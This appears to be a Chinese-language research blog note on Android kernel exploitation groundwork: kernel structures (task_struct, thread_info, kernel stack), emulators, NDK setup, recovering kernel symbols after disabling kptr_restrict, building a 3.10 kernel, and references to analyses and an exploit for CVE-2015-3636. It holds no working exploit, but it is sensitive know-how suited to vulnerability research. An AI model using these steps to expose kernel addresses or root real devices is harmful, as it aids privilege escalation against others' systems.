task_struct结构体中,除了漏洞利用提权时比较关注的cred结构体以外,还有个特殊的指针void *stack
,它指向内核栈,同时也是thread_info结构体的存放地址。
1 | struct task_struct { |
void *stack
指向一个联合体,叫做thread_union
,即代表内核栈,也代表thread_info。
1 | union thread_union { |
task_struct,thread_info和内核栈之间的关系如下图所示。
thread_info
1 | typedef unsigned long mm_segment_t; |
其他
andorid模拟器
android模拟器有很多,15 best Android emulators for PC and Mac of 2022,android studio适合开发者,qemu-android适合研究调试。
猜测:只有android studio和qemu-android可以模拟arm架构的android,其他模拟器(大多数)都是x86架构的android。因为android studio和qemu-android都是谷歌家开发的。
qemu-android:谷歌开发人员基于qemu更改的模拟器,用于启动goldfish对应的android。Difference among Android’s emulator command variations
ranchu:我认为可以简单的把ranchu理解为goldfish的升级版,对应有升级版的qemu-android(也可称之为qemu-ranchu)。New emulator code base (qemu-android) and “ranchu” virtual board
对于想准确研究以上概念的同学,推荐参考书籍:Android System Programming
ubuntu ndk编译环境
参考了这篇文章:ubuntu下android ndk编译环境搭建方法
下载android-ndk-r13b,然后按照如下命令安装
1 | unzip android-ndk-r13b-linux-x86_64.zip |
提取内核代码并恢复符号
旧方法 - IDApython脚本
Image就是内核代码,由于系统未开启KASLR,通过启动时打印的log我们可以获得内核加载基址0xffffffc000080000。
IDA打开Image,并设置好ROM start address和Loading address,从文件头开始按”P”解析函数。发现函数没有符号。
于是回到adb shell中,导出内核符号表
1 | echo 0 > /proc/sys/kernel/kptr_restrict |
利用内核符号表文件,恢复IDA中对应的函数名,IDA脚本如下
1 | import idc |
恢复符号表后,发现还有很多函数没有恢复成功,是因为函数名冲突了。但是不影响分析。
新方法 - vmlinux-to-elf
vmlinux-to-elf可以将 vmlinux/vmlinuz/bzImage/zImage等内核镜像恢复符号并转换成elf格式,便于IDA分析。
使用方法如下:
1 | git clone https://github.com/marin-m/vmlinux-to-elf.git |
编译调试linux-3.10内核镜像
1 | git clone https://github.com/torvalds/linux.git -b v3.10 --depth=1 |
参考文档
- CVE-2015-3636分析文档
[原创]CVE-2015-3636(pingpong root) android内核 UAF漏洞分析
CVE-2015-3636内核漏洞分析这篇文章中说,x86-64架构上利用该漏洞仅能造成系统崩溃,而非x86-64架构(如arm)可利用改漏洞提权。
真实设备利用exp:CVE-2015-3636 exp.by.fi01
存在该漏洞的版本: linux kernel <=v4.1-rc1
- 其他参考文档
Android内核的编译和调试及gdb cheatsheet